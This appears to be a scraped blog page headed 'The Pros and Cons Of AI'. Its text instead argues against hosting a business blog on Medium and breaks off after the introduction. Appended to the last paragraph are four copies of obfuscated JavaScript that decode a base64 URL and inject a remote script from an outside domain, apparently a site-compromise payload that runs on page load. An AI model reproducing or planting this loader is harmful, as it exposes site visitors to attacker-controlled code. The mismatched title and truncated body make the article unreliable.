The Pros and Cons Of AI

Medium has become a content behemoth, picking up the reins from Blogger, WordPress.com and Tumblr as the go-to blogging platform when someone wants to start getting their content out on the internet quickly.

Because of its massive growth, many bloggers and businesses exploring content marketing build their blogs on Medium. You can get a Medium blog up and running in a few minutes, and the potential for virality through the Medium recommendation engine and “claps” mechanism makes it an alluring platform.

But when companies want to work with us to start driving more organic search traffic to their website, the first thing we tell them to do is to get their blog off of Medium ASAP.

While Medium is a great blogging platform for starting quickly, it’s terrible if you want your blog to grow, drive qualified traffic to your site, and generally be a core part of your customer acquisition strategy.

Here are the main reasons why you shouldn’t build your business’s blog on Medium. There are a few times when it does make sense to use Medium to launch your blog, though, and we’ll get to those at the end.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();